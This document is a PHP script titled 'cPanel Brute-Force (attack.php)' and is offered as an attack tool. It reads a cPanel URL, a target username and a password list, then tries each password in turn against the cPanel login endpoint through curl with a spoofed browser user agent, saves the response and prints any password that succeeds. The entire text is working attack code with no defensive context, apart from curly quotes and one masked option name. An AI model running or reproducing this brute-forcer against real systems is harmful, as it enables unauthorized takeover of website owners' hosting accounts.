cPanel Brute-Force (attack.php)

<?php
echo “URL (cPanel Main Page e.G http://site.com:2082): “;
$url = trim(fgets(STDIN));
echo “USER TO BRUTE: “;
$user = trim(fgets(STDIN));
echo “PASSLIST: “;
$passlist = trim(fgets(STDIN));
brute_cPanel($url, $user, $passlist);
function login_cPanel($url, $user, $pass)
{
$target = trim($url).”/login/”;
$post_data = “login_theme=cpanel&user=”.$user.”&pass=”.$pass;
$referer = trim($url);
$user_agent = “Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3″;
$curl_conf = array(
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_FOLLOW******** => TRUE,
CURLOPT_USERAGENT => $user_agent,
CURLOPT_REFERER => $referer,
CURLOPT_POST => TRUE,
CURLOPT_POSTFIELDS => $post_data
);
$curl_handle = curl_init($target);
curl_setopt_array($curl_handle, $curl_conf);
$content = curl_exec($curl_handle);
file_put_contents(“result.htm”, $content);
if (!preg_match(“[Login Attempt Failed\!]“, $content))
{
return true;
}
else
{
return false;
}
}
function brute_cPanel($url, $user, $passlist)
{
$passes = file($passlist);
$count = count($passes);
$counter = 0;
echo “CHECKING FOR “.$count.” PASSES\r\n”;
while ($counter < $count):
$current_pass = trim($passes[$counter]);
if (login_cPanel($url, $user, $current_pass))
{
echo “SUCCESS: “.$current_pass.”\r\n”;
return true;
}
$counter++;
endwhile;
return false;
}
?>